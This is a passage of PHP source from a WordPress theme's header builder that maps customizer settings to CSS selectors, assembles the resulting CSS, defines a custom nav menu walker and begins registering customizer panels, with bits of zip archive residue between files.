			'width' => '.penci-desktop-sticky-bottom .container.container-custom',
		),
		'penci_header_desktop_sticky_wrap_custom_width'         => array(
			'max-width' => '.penci_builder_sticky_header_desktop.container.container-custom',
		),
		'penci_header_desktop_sticky_lr_spc'                    => array(
			'margin-left'  => '.pchb-boxed-layout.penci_builder_sticky_header_desktop .penci_nav_row',
			'margin-right' => '.pchb-boxed-layout.penci_builder_sticky_header_desktop .penci_nav_row',
		),

		// news ticker
		'penci_header_pb_news_ticker_color'                     => array(
			'color' => '.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title',
		),
		'penci_header_pb_news_ticker_hv_color'                  => array(
			'color' => '.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title:hover',
		),
		'penci_header_pb_news_ticker_arr_color'                 => array(
			'color' => '.penci-builder-element.penci-topbar-trending .penci-trending-nav a',
		),
		'penci_header_pb_news_ticker_arr_hv_color'              => array(
			'color' => '.penci-builder-element.penci-topbar-trending .penci-trending-nav a:hover',
		),
		'penci_header_pb_news_ticker_headline_color'            => array(
			'color' => '.penci-builder-element.penci-topbar-trending .headline-title',
		),
		'penci_header_pb_news_ticker_headline_bg_style3'        => array(
			'border-right-color' => '.penci-builder-element.penci-topbar-trending .headline-title.nticker-style-3::after',
		),
		'penci_header_pb_news_ticker_headline_bg'               => array(
			'background-color'    => '.penci-builder-element.penci-topbar-trending .headline-title',
			'border-bottom-color' => '.penci-builder-element.penci-topbar-trending .headline-title.nticker-style-4:after',
			'border-left-color'   => '.penci-builder-element.penci-topbar-trending .headline-title.nticker-style-2:after',
		),
		'penci_header_pb_news_ticker_width'                     => array(
			'max-width' => '.penci-builder-element.penci-topbar-trending',
		),
		'penci_header_pb_news_ticker_fs'                        => array(
			'font-size' => '.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title',
		),
		'penci_header_pb_news_ticker_fw'                        => array(
			'font-weight' => '.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title',
		),
		'penci_header_pb_news_ticker_arr_fs'                    => array(
			'font-size' => '.penci-builder-element.penci-topbar-trending .penci-trending-nav a',
		),
		'penci_header_pb_news_ticker_headline_fs'               => array(
			'font-size' => '.penci-builder-element.penci-topbar-trending .headline-title',
		),
		'penci_header_pb_news_ticker_font'                      => array(
			'font-family' => '.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title,.penci-builder-element.penci-topbar-trending .headline-title',
		),
		'penci_header_pb_dropdown_menu_penci_menu_border_color' => array(
			'border-color' => '.penci-menu-hbg.penci-builder-mobile-sidebar-nav .menu li,.penci-menu-hbg.penci-builder-mobile-sidebar-nav ul.sub-menu',
		),
		'penci_header_pb_hamburger_menu_size'                   => array(
			'--pcbd-menuhbg-size' => '.penci-menuhbg-toggle.builder',
		),
		'penci_header_pb_search_form_txt_color'                 => array(
			'--pcs-d-txt-cl' => '.penci-builder-element.pc-search-form-desktop',
		),
		'penci_header_pb_search_form_sidebar_txt_color'         => array(
			'--pcs-s-txt-cl' => '.penci-builder-element.pc-search-form-sidebar',
		),
		'penci_header_border_color'                             => array(
			'border-color' => '.penci_header.main-builder-header',
		),
		'penci_header_border_style'                             => array(
			'border-style' => '.penci_header.main-builder-header',
		),
		'penci_header_pb_mobile_menu_btnbstyle'                 => array(
			'border-style' => '.navigation.mobile-menu',
		),
		'penci_header_pb_mobile_menu_bcolor'                    => array(
			'border-color' => '.navigation.mobile-menu',
		),
		'penci_header_pb_mobile_menu_bhcolor'                   => array(
			'border-color' => '.navigation.mobile-menu:hover',
		),
		'penci_header_pb_mobile_menu_bgcolor'                   => array(
			'background-color' => '.navigation.mobile-menu',
		),
		'penci_header_pb_mobile_menu_bghcolor'                  => array(
			'background-color' => '.navigation.mobile-menu:hover',
		),
		'penci_header_pb_mobile_menu_color'                     => array(
			'color' => '.navigation .button-menu-mobile',
			'fill'  => '.navigation .button-menu-mobile svg',
		),
		'penci_header_pb_mobile_menu_hv_color'                  => array(
			'color' => '.navigation .button-menu-mobile:hover',
			'fill'  => '.navigation .button-menu-mobile:hover svg',
		),
		'penci_header_search_border_color'                      => array(
			'border-bottom-color' => '.header-search-style-showup .pc-wrapbuilder-header .show-search:before',
			'border-top-color'    => '.header-search-style-showup .pc-wrapbuilder-header .show-search',
		),
		'penci_header_search_bg_color'                          => array(
			'background-color' => '.header-search-style-showup .pc-wrapbuilder-header .show-search',
		),
		'penci_header_search_input_border_color'                => array(
			'border-color' => '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input',
		),
		'penci_header_search_input_bg_color'                    => array(
			'background-color' => '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input',
		),
		'penci_header_search_input_color'                       => array(
			'--pchd-sinput-txt' => '.pc-wrapbuilder-header',
			'color'             => '.header-search-style-overlay .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input',
		),
		'penci_header_search_o_bdcolor'                         => array(
			'border-color' => '.header-search-style-overlay .pc-wrapbuilder-header .show-search form.pc-searchform .pc-searchform-inner',
		),
		'penci_header_search_button_bg_color'                   => array(
			'background-color' => '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform .searchsubmit',
		),
		'penci_header_search_button_bg_hcolor'                  => array(
			'background-color' => '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform .searchsubmit:hover',
		),
		'penci_header_search_button_color'                      => array(
			'color' => '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform .searchsubmit',
		),
		'penci_header_search_button_hcolor'                     => array(
			'color' => '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform .searchsubmit:hover',
		),
		'penci_header_search_o_bgcolor'                         => array(
			'background-color' => '.header-search-style-overlay .penci-header-builder .show-search',
		),
		'penci_header_search_o_closecolor'                      => array(
			'color' => '.header-search-style-overlay .penci-header-builder .show-search a.close-search',
		),
		'penci_header_search_input_size'                        => array(
			'font-size' => '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input,.header-search-style-overlay .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input',
		),
		'penci_header_search_btn_size'                          => array(
			'font-size' => '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform .searchsubmit',
		),
		'penci_header_builder_pb_html_color'                    => array(
			'color' => '.penci-builder-element.penci-html-ads-1',
		),
		'penci_header_builder_pb_html_link_color'               => array(
			'color' => '.penci-builder-element.penci-html-ads-1 a',
		),
		'penci_header_builder_pb_html_fsize'                    => array(
			'font-size' => '.penci-builder-element.penci-html-ads-1,.penci-builder-element.penci-html-ads-1 *',
		),
		'penci_header_builder_pb_html_2_color'                  => array(
			'color' => '.penci-builder-element.penci-html-ads-2',
		),
		'penci_header_builder_pb_html_2_link_color'             => array(
			'color' => '.penci-builder-element.penci-html-ads-2 a',
		),
		'penci_header_builder_pb_html_2_fsize'                  => array(
			'font-size' => '.penci-builder-element.penci-html-ads-2,.penci-builder-element.penci-html-ads-2 *',
		),
		'penci_header_builder_pb_html_3_color'                  => array(
			'color' => '.penci-builder-element.penci-html-ads-3',
		),
		'penci_header_builder_pb_html_3_link_color'             => array(
			'color' => '.penci-builder-element.penci-html-ads-3 a',
		),
		'penci_header_builder_pb_html_3_fsize'                  => array(
			'font-size' => '.penci-builder-element.penci-html-ads-3,.penci-builder-element.penci-html-ads-3 *',
		),
		'penci_header_builder_pb_html_mobile_color'             => array(
			'color' => '.penci-builder-element.penci-html-ads-mobile',
		),
		'penci_header_builder_pb_html_mobile_link_color'        => array(
			'color' => '.penci-builder-element.penci-html-ads-mobile a',
		),
		'penci_header_builder_pb_html_mobile_fsize'             => array(
			'font-size' => '.penci-builder-element.penci-html-ads-mobile,.penci-builder-element.penci-html-ads-mobile *',
		),
		'penci_header_builder_pb_html_mobile_2_color'           => array(
			'color' => '.penci-builder-element.penci-html-ads-mobile-2',
		),
		'penci_header_builder_pb_html_mobile_2_link_color'      => array(
			'color' => '.penci-builder-element.penci-html-ads-mobile-2 a',
		),
		'penci_header_builder_pb_html_mobile_2_fsize'           => array(
			'font-size' => '.penci-builder-element.penci-html-ads-mobile-2,.penci-builder-element.penci-html-ads-mobile-2 *',
		),
		'penci_header_pb_search_form_input_size'                => array(
			'font-size' => '.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input',
		),
		'penci_header_pb_search_form_btn_size'                  => array(
			'font-size' => '.pc-search-form-desktop.search-style-default i,
							.pc-search-form-desktop.search-style-icon-button .searchsubmit:before,
							.pc-search-form-desktop.search-style-text-button .searchsubmit',
		),
		'penci_header_pb_search_form_sidebar_input_size'        => array(
			'font-size' => '.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input',
		),
		'penci_header_pb_search_form_sidebar_btn_size'          => array(
			'font-size' => '.pc-search-form-sidebar.search-style-default i,
							.pc-search-form-sidebar.search-style-icon-button .searchsubmit:before,
							.pc-search-form-sidebar.search-style-text-button .searchsubmit',
		),

		// Bookmark Button
		'penci_header_pb_bookmark_txt_color'                    => array(
			'color' => '.penci-builder-element.top-search-classes a',
		),
		'penci_header_pb_bookmark_txt_hv_color'                 => array(
			'color' => '.penci-builder-element.top-search-classes a:hover',
		),
		'penci_header_pb_bookmark_txt_size'                     => array(
			'font-size' => '.penci-builder-element.top-search-classes a',
		),

		// darkmode button
		'penci_header_pb_darkmode_bgcolor'                      => array(
			'--pcdm_btnbg' => 'body .pc-dmswitcher-element',
		),
		'penci_header_pb_darkmode_d_color'                      => array(
			'--pcdm_btnd' => 'body .pc-dmswitcher-element',
		),
		'penci_header_pb_darkmode_d_bgcolor'                    => array(
			'--pcdm_btndbg' => 'body .pc-dmswitcher-element',
		),
		'penci_header_pb_darkmode_n_color'                      => array(
			'--pcdm_btnn' => 'body .pc-dmswitcher-element',
		),
		'penci_header_pb_darkmode_n_bgcolor'                    => array(
			'--pcdm_btnnbg' => 'body .pc-dmswitcher-element',
		),
	);

	foreach ( $color_css as $value => $selector ) {
		$control_value = penci_builder_validate_mod( $header_data, $value );
		$prefix        = '';
		if ( is_array( $selector ) && ! empty( $control_value ) ) {
			foreach ( $selector as $prop => $subselect ) {

				if ( $prop == 'font-family' ) {
					$control_value = penci_builder_get_font_data( $control_value );
				}

				$prefix = is_numeric( $control_value ) && $prop !== 'font-weight' ? 'px' : '';
				$out    .= $subselect . '{' . $prop . ':' . $control_value . $prefix . '}';
			}
		} elseif ( ! empty( $control_value ) ) {
			$out .= $selector . '{color:' . $control_value . $prefix . '}';
		}
	}

	$search_form_color = penci_builder_validate_mod( $header_data,'penci_header_search_input_color' );
	if ( $search_form_color ) {
		$out .= '.header-search-style-overlay .pc-wrapbuilder-header .show-search form.pc-searchform ::placeholder{color:' . $search_form_color . '}';
	}

	$search_form_height = penci_builder_validate_mod( $header_data,'penci_header_pb_search_form_height' );
	if ( ! empty( $search_form_height ) ) {
		$out .= '.penci-builder-element.pc-search-form-desktop,.penci-builder-element.pc-search-form-desktop.search-style-icon-button .search-input,.penci-builder-element.pc-search-form-desktop.search-style-text-button .search-input{';
		$out .= 'line-height:' . ( $search_form_height - 2 ) . 'px';
		$out .= '}';

		$out .= '.penci-builder-element.pc-search-form-desktop.search-style-default .search-input{';
		$out .= 'line-height:' . ( $search_form_height - 2 ) . 'px;padding-top:0;padding-bottom:0';
		$out .= '}';
	}

	$search_form_sidebar_height = penci_builder_validate_mod( $header_data,'penci_header_pb_search_form_sidebar_height' );
	if ( ! empty( $search_form_sidebar_height ) ) {
		$out .= '.penci-builder-element.pc-search-form.pc-search-form-sidebar,.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-sidebar .search-input,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-sidebar .search-input{';
		$out .= 'line-height:' . ( $search_form_sidebar_height - 2 ) . 'px';
		$out .= '}';

		$out .= '.penci-builder-element.pc-search-form-sidebar.search-style-default .search-input{';
		$out .= 'line-height:' . ( $search_form_sidebar_height - 2 ) . 'px;padding-top:0;padding-bottom:0';
		$out .= '}';
	}

	// search
	$search_form_width = penci_builder_validate_mod( $header_data, 'penci_header_pb_search_form_width' );
	if ( ! empty( $search_form_width ) ) {
		$out .= '.penci-builder-element.pc-search-form-desktop,.penci-builder-element.pc-search-form-desktop.search-style-icon-button .search-input,.penci-builder-element.pc-search-form-desktop.search-style-text-button .search-input{';
		$out .= 'max-width:' . $search_form_width . 'px;';
		$out .= '}';
	}

	$search_form_sidebar_width = penci_builder_validate_mod( $header_data, 'penci_header_pb_search_form_sidebar_width' );
	if ( ! empty( $search_form_sidebar_width ) ) {
		$out .= '.penci-builder-element.pc-search-form.pc-search-form-sidebar,.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-sidebar .search-input,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-sidebar .search-input{';
		$out .= 'max-width:' . $search_form_sidebar_width . 'px;';
		$out .= '}';
	}

	// mobile logo
	$logo_mobile_spacing = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_spacing' );
	$out                 .= '.pc-builder-element.pc-logo.pb-logo-mobile{';
	$out                 .= penci_builder_spacing_extract_data( $logo_mobile_spacing );
	$out                 .= '}';

	// social icon line height
	$social_icon_height = penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_section_icon_h' );
	$social_icon_style  = penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_section_icon_style' );

	if ( ! empty( $social_icon_height ) ) {
		$social_line_height = $social_icon_height;
		if ( 'simple' != $social_icon_style ) {
			$social_line_height = $social_icon_height - 2;
		}
		$out .= '.penci-builder-element.header-social.desktop-social a i,.penci-builder-element.header-social.desktop-social .penci-social-simple a i{line-height:' . $social_line_height . 'px;}';
	}

	// social icon mobile height
	$social_mobile_icon_height = penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_mobile_section_icon_h' );
	$social_mobile_icon_style  = penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_mobile_section_icon_style' );

	if ( ! empty( $social_mobile_icon_height ) ) {
		$social_mobile_line_height = $social_mobile_icon_height;
		if ( 'simple' != $social_mobile_icon_style ) {
			$social_mobile_line_height = $social_mobile_icon_height - 2;
		}
		$out .= '.penci-builder-element.header-social.mobile-social a i,.penci-builder-element.header-social.mobile-social .penci-social-simple a i{line-height:' . $social_mobile_line_height . 'px;}';
	}

	// font for login text
	$out        .= '.pc-header-element.penci-topbar-social .pclogin-item a{';
	$login_font = penci_builder_validate_mod( $header_data, 'penci_header_pb_login_register_penci_font_login_text' );
	if ( ! empty( $login_font ) ) {
		$out .= 'font-family:' . penci_builder_get_font_data( $login_font ) . ';';
	}
	$login_uppercase = penci_builder_validate_mod( $header_data, 'penci_header_pb_login_register_text_uppercase' );
	if ( 'enable' == $login_uppercase ) {
		$out .= 'text-transform:uppercase;';
	}
	$login_weight = penci_builder_validate_mod( $header_data, 'penci_header_pb_login_register_penci_fontw_login_text' );
	if ( ! empty( $login_weight ) ) {
		$out .= 'font-weight:' . $login_weight . ';';
	}
	$out .= '}';

	// font for mobile login text
	$out        .= '.pc-header-element.penci-topbar-social-mobile .pclogin-item a{';
	$login_font = penci_builder_validate_mod( $header_data, 'penci_header_pb_login_register_mobile_penci_font_login_text' );
	if ( ! empty( $login_font ) ) {
		$out .= 'font-family:' . penci_builder_get_font_data( $login_font ) . ';';
	}
	$login_uppercase = penci_builder_validate_mod( $header_data, 'penci_header_pb_login_register_mobile_text_uppercase' );
	if ( 'enable' == $login_uppercase ) {
		$out .= 'text-transform:uppercase;';
	}
	$login_weight = penci_builder_validate_mod( $header_data, 'penci_header_pb_login_register_mobile_penci_fontw_login_text' );
	if ( ! empty( $login_weight ) ) {
		$out .= 'font-weight:' . $login_weight . ';';
	}
	$out .= '}';

	$out .= 'body.penci-header-preview-layout .wrapper-boxed{min-height:1500px}';

	return $out . $return;
}

function penci_builder_get_font_data( $setting ) {
	if ( ! $setting ) {
		return false;
	}
	$font_data = str_replace( '"', '', $setting );
	$font_data = explode( ', ', $font_data );

	$out = '';
	if ( isset( $font_data[0] ) ) {
		$out .= "'" . $font_data[0] . "'";
	}
	if ( isset( $font_data[2] ) ) {
		$out .= ', ' . $font_data[2];
	}

	return $out;
}

function penci_builder_get_area_css( $header_data, $area, $cssprefix = '', $optionprefix = '', $customselect = '' ) {
	if ( ! empty( $customselect ) ) {
		$out = $customselect . '{';
	} else {
		$out = '.penci_header_overlap .penci-' . $cssprefix . '-' . $area . ',.penci-' . $cssprefix . '-' . $area . '{';
	}
	$out                   .= 'border-width:0;';
	$background_img        = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_background_img' );
	$background_color      = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_background_color' );
	$background_scolor     = 'mobile' == $cssprefix ? penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_sticky_background_color' ) : '';
	$background_repeat     = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_background_repeat' );
	$background_position   = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_background_position' );
	$background_size       = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_background_size' );
	$background_attachment = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_background_attachment' );
	$background_spacing    = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_spacing_setting' );
	$background_border     = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_border_setting' );
	$border_style          = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_border_style_setting' );
	$background_text_color = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_text_color_setting' );
	$background_maxheight  = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_maxheight_setting' );

	if ( ! empty( $background_img ) ) {
		$out .= 'background-image:url(' . esc_url( $background_img ) . ');';
	}

	if ( ! empty( $background_color ) ) {
		$out .= 'background-color:' . esc_attr( $background_color ) . ';';
	}

	if ( ! empty( $background_repeat ) ) {
		$out .= 'background-repeat:' . esc_attr( $background_repeat ) . ';';
	}

	if ( ! empty( $background_position ) ) {
		$out .= 'background-position:' . esc_attr( $background_position ) . ';';
	}
	if ( ! empty( $background_size ) ) {
		$out .= 'background-size:' . esc_attr( $background_size ) . ';';
	}
	if ( ! empty( $background_attachment ) ) {
		$out .= 'background-attachment:' . esc_attr( $background_attachment ) . ';';
	}
	if ( ! empty( $background_border ) ) {
		$out .= 'border-color:' . esc_attr( $background_border ) . ';';
	}
	if ( ! empty( $border_style ) ) {
		$out .= 'border-style:' . esc_attr( $border_style ) . ';';
	}
	if ( ! empty( $background_text_color ) ) {
		$out .= 'color:' . esc_attr( $background_text_color ) . ';';
	}
	if ( ! empty( $background_maxheight ) ) {
		$out .= 'max-height:' . esc_attr( $background_maxheight ) . ';';
	}
	if ( ! empty( $background_spacing ) ) {
		$out .= penci_builder_spacing_extract_data( $background_spacing );
	}

	$out .= '}';

	if ( 'mobile' == $cssprefix && $background_scolor ) {
		$out .= '.penci_header_overlap.mobile-sticky .penci-' . $cssprefix . '-' . $area . '{';
		$out .= 'background-color:' . esc_attr( $background_scolor ) . ';';
		$out .= '}';
	}

	return $out;
}

function penci_builder_spacing_extract_data( $number = '', $out = '' ) {
	$mpb = explode( ',', $number );
	if ( isset( $mpb[0] ) && is_numeric( $mpb[0] ) ) {
		$out .= 'margin-top:' . esc_attr( $mpb[0] ) . 'px;';
	}
	if ( isset( $mpb[1] ) && is_numeric( $mpb[1] ) ) {
		$out .= 'margin-right:' . esc_attr( $mpb[1] ) . 'px;';
	}
	if ( isset( $mpb[2] ) && is_numeric( $mpb[2] ) ) {
		$out .= 'margin-bottom:' . esc_attr( $mpb[2] ) . 'px;';
	}
	if ( isset( $mpb[3] ) && is_numeric( $mpb[3] ) ) {
		$out .= 'margin-left:' . esc_attr( $mpb[3] ) . 'px;';
	}

	if ( isset( $mpb[4] ) && is_numeric( $mpb[4] ) ) {
		$out .= 'padding-top:' . esc_attr( $mpb[4] ) . 'px;';
	}
	if ( isset( $mpb[5] ) && is_numeric( $mpb[5] ) ) {
		$out .= 'padding-right:' . esc_attr( $mpb[5] ) . 'px;';
	}
	if ( isset( $mpb[6] ) && is_numeric( $mpb[6] ) ) {
		$out .= 'padding-bottom:' . esc_attr( $mpb[6] ) . 'px;';
	}
	if ( isset( $mpb[7] ) && is_numeric( $mpb[7] ) ) {
		$out .= 'padding-left:' . esc_attr( $mpb[7] ) . 'px;';
	}

	if ( isset( $mpb[8] ) && is_numeric( $mpb[8] ) ) {
		$out .= 'border-top-width:' . esc_attr( $mpb[8] ) . 'px;';
	}
	if ( isset( $mpb[9] ) && is_numeric( $mpb[9] ) ) {
		$out .= 'border-right-width:' . esc_attr( $mpb[9] ) . 'px;';
	}
	if ( isset( $mpb[10] ) && is_numeric( $mpb[10] ) ) {
		$out .= 'border-bottom-width:' . esc_attr( $mpb[10] ) . 'px;';
	}
	if ( isset( $mpb[11] ) && is_numeric( $mpb[11] ) ) {
		$out .= 'border-left-width:' . esc_attr( $mpb[11] ) . 'px;';
	}

	if ( isset( $mpb[12] ) && is_numeric( $mpb[12] ) ) {
		$out .= 'border-top-left-radius:' . esc_attr( $mpb[12] ) . 'px;';
	}
	if ( isset( $mpb[13] ) && is_numeric( $mpb[13] ) ) {
		$out .= 'border-top-right-radius:' . esc_attr( $mpb[13] ) . 'px;';
	}
	if ( isset( $mpb[14] ) && is_numeric( $mpb[14] ) ) {
		$out .= 'border-bottom-right-radius:' . esc_attr( $mpb[14] ) . 'px;';
	}
	if ( isset( $mpb[15] ) && is_numeric( $mpb[15] ) ) {
		$out .= 'border-bottom-left-radius:' . esc_attr( $mpb[15] ) . 'px;';
	}

	return $out;
}PK     /w\׆Ofi  i  $  builder/customizer/menu-callback.phpnu [        <?php

/**
 * Class penci_menu_walker_nav_menu
 * This class will remove wrap </a> around mega menu
 * Callback on wp_nav_menu() in header.php file
 *
 * @since 1.0
 */
class penci_menu_builder_walker_nav_menu extends Walker_Nav_Menu {
	private $logo_break_point = null;
	private $count_item_parent = 0;
	private $curItem;

	/**
	 * Starts the list before the elements are added.
	 *
	 * @param string $output Passed by reference. Used to append additional content.
	 * @param int $depth Depth of menu item. Used for padding.
	 * @param mixed $args An array of arguments. @see wp_nav_menu().
	 *
	 * @since 3.0.0
	 *
	 * @see   Walker::start_lvl()
	 */
	public function start_lvl( &$output, $depth = 0, $args = array() ) {
		$menu_item       = $this->curItem;
		$penci_menu_type = get_post_meta( $menu_item->ID, 'penci_menu_type', true );
		$penci_menu_mw   = get_post_meta( $menu_item->ID, 'penci_menu_mw', true );

		$indent  = str_repeat( "\t", $depth );
		$classes = '';
		if ( 0 === $depth && 'mega-menu' == $penci_menu_type ) {

			$classes .= ' penci-dropdown-menu penci-dropdown';

			$classes .= $penci_menu_mw ? ' penci-mega-custom-width' : ' penci-mega-full-width';

			$output .= $indent . '<div class="' . trim( $classes ) . '">';
			$output .= $indent . '<div class="container">';
		}

		if ( 0 === $depth && 'mega-menu' == $penci_menu_type ) {
			$sub_menu_class = 'penci-megamenu-sub sub-sub-menu';
		} else {
			$sub_menu_class = 'sub-menu';
		}

		$output .= "\n$indent<ul class=\"$sub_menu_class\">\n";
	}

	/**
	 * Ends the list of after the elements are added.
	 *
	 * @param string $output Passed by reference. Used to append additional content.
	 * @param int $depth Depth of menu item. Used for padding.
	 * @param mixed $args An array of arguments. @see wp_nav_menu().
	 *
	 * @since 3.0.0
	 *
	 * @see   Walker::end_lvl()
	 */
	public function end_lvl( &$output, $depth = 0, $args = array() ) {
		$menu_item       = $this->curItem;
		$penci_menu_type = get_post_meta( $menu_item->ID, 'penci_menu_type', true );
		$indent          = str_repeat( "\t", $depth );
		$output          .= "$indent</ul>\n";

		if ( 0 === $depth && 'mega-menu' == $penci_menu_type ) {
			$output .= "$indent</div>\n";
			$output .= "$indent</div>\n";
		}
	}

	function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) {
		$this->curItem = $item;

		$indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';

		$class_names = $value = '';

		$classes   = empty( $item->classes ) ? array() : (array) $item->classes;
		$classes[] = 'menu-item-' . $item->ID;

		/**
		 * Filter the CSS classes applied to a menu items
		 *
		 * @param array $classes The CSS classes that are applied to the menu items
		 * @param object $item Current menu item
		 * @param array $args Array of arguments
		 *
		 * @since 1.0
		 *
		 */
		$class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item, $args, $depth ) );
		$class_names = $class_names ? ' class="' . esc_attr( $class_names ) . '"' : '';

		/**
		 * Filter the ID applied to a menu items
		 *
		 * @param string       ID that is applied to the menu items
		 * @param object $item Current menu item.
		 * @param array $args Array of arguments
		 *
		 * @since 1.0
		 *
		 */
		$id = apply_filters( 'nav_menu_item_id', 'menu-item-' . $item->ID, $item, $args );
		$id = $id ? ' id="' . esc_attr( $id ) . '"' : '';

		$output .= $indent . '<li' . $id . $value . $class_names . '>';

		$atts           = array();
		$atts['title']  = ! empty( $item->attr_title ) ? $item->attr_title : '';
		$atts['target'] = ! empty( $item->target ) ? $item->target : '';
		$atts['rel']    = ! empty( $item->xfn ) ? $item->xfn : '';
		$atts['href']   = ! empty( $item->url ) ? $item->url : '';

		/**
		 * Filter the HTML attributes applied to a menu items
		 *
		 * @param array $atts
		 * @param object $item The current menu item.
		 * @param array $args An array of arguments
		 *
		 * @since 1.0
		 *
		 */
		$atts = apply_filters( 'nav_menu_link_attributes', $atts, $item, $args, $depth );

		$attributes = '';
		foreach ( $atts as $attr => $value ) {
			if ( ! empty( $value ) ) {
				$value      = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value );
				$attributes .= ' ' . $attr . '="' . $value . '"';
			}
		}

		$item_output = $args->before;

		if ( $item->is_mega_menu == false ) {
			$item_output .= '<a' . $attributes . '>';
		}

		$item_title = $item->is_mega_menu ? $item->title : apply_filters( 'the_title', $item->title, $item->ID );

		$item_output .= $args->link_before . $item_title . $args->link_after;

		if ( $item->is_mega_menu == false ) {
			$item_output .= '</a>';
		}
		$item_output .= $args->after;

		/**
		 * Filter a menu item's starting output
		 *
		 * @param string $item_output The menu items starting HTML output
		 * @param object $item Menu item data object
		 * @param int $depth Depth of menu item
		 * @param array $args Array of arguments
		 *
		 * @since 1.0
		 *
		 */
		$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );
	}

	function end_el( &$output, $item, $depth = 0, $args = array() ) {
		if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) {
			$t = '';
			$n = '';
		} else {
			$t = "\t";
			$n = "\n";
		}
		$output .= "</li>{$n}";

		$item_parent = $item->menu_item_parent ? $item->menu_item_parent : '0';

		if ( '0' === $item_parent ) {
			$this->count_item_parent ++;
		}
	}
}
PK     /w\TT-  -  $  builder/customizer/buider_config.phpnu [        <?php
$builder_settings            = 'penci_builder_mods';
$builder_section             = 'penci_header_builder_block';
$builder_rows_desktop        = [ 'topblock', 'top', 'mid', 'bottom', 'bottomblock' ];
$builder_rows_desktop_sticky = [
	'top'    => 'Sticky Top',
	'mid'    => 'Sticky Middle',
	'bottom' => 'Sticky Bottom'
];
$builder_columns_desktop     = [ 'left', 'center', 'right' ];
$builder_rows_mobile         = [ 'top', 'mid', 'bottom' ];
$builder_columns_mobile      = [ 'left', 'center', 'right' ];
$builder_row_sidebar         = [ 'top', 'bottom' ];
$builder_columns_sidebar     = [ 'center' ];
$partial_refresh_id          = [
	'topblock'    => '.penci_topblock.penci-desktop-topblock',
	'top'         => '.penci-desktop-topbar',
	'mid'         => '.penci-desktop-midbar',
	'bottom'      => '.penci-desktop-bottombar',
	'bottomblock' => '.penci-desktop-bottomblock',
];
$partial_mobile_refresh_id   = [
	'top'    => '.penci-mobile-topbar',
	'mid'    => '.penci-mobile-midbar',
	'bottom' => '.penci-mobile-bottombar',
];
$partial_sticky_refresh_id   = [
	'top'    => '.penci-desktop-sticky-top',
	'mid'    => '.penci-desktop-sticky-mid',
	'bottom' => '.penci-desktop-sticky-bottom',
];

/* General Set up*/
$wp_customize->add_panel( 'header_builder_config', array(
	'priority'    => 1,
	'title'       => esc_html__( 'Header Builder', 'soledad' ),
	'description' => esc_html__( 'Build your site header with Customizer', 'soledad' ),
) );

$wp_customize->add_section( $builder_section, array(
	'title'       => esc_html__( 'Builder Settings', 'soledad' ),
	'description' => esc_html__( 'General Builder', 'soledad' ),
	'panel'       => 'header_builder_config',
	'priority'    => 900,
) );

$wp_customize->add_section( 'penci_header_desktop_sticky_section', array(
	'title'    => esc_html__( 'Sticky Header', 'soledad' ),
	'panel'    => 'header_builder_config',
	'priority' => 20,
) );

$wp_customize->add_section( 'penci_header_mobile_option_section', array(
	'title'    => esc_html__( 'Mobile Header', 'soledad' ),
	'panel'    => 'header_builder_config',
	'priority' => 20,
) );

$wp_customize->add_section( 'penci_header_drawer_container_section', array(
	'title'    => esc_html__( 'Mobile Sidebar', 'soledad' ),
	'panel'    => 'header_builder_config',
	'priority' => 20,
) );

/* Main Builder Section */
$wp_customize->add_setting( 'penci_hb_arrange_bar', array(
	'default'           => 'topblock,top,mid,bottom,bottomblock',
	'sanitize_callback' => 'penci_text_sanitization',
) );
$wp_customize->add_control( new Penci_Dropdown_Select2_Custom_Control( $wp_customize, 'penci_hb_arrange_bar', [
	'label'       => esc_html__( 'Desktop Element Sort', 'soledad' ),
	'section'     => $builder_section,
	'input_attrs' => array(
		'multiselect' => true,
	),
	'choices'     => [
		'topblock'    => esc_attr__( 'Top Ads', 'soledad' ),
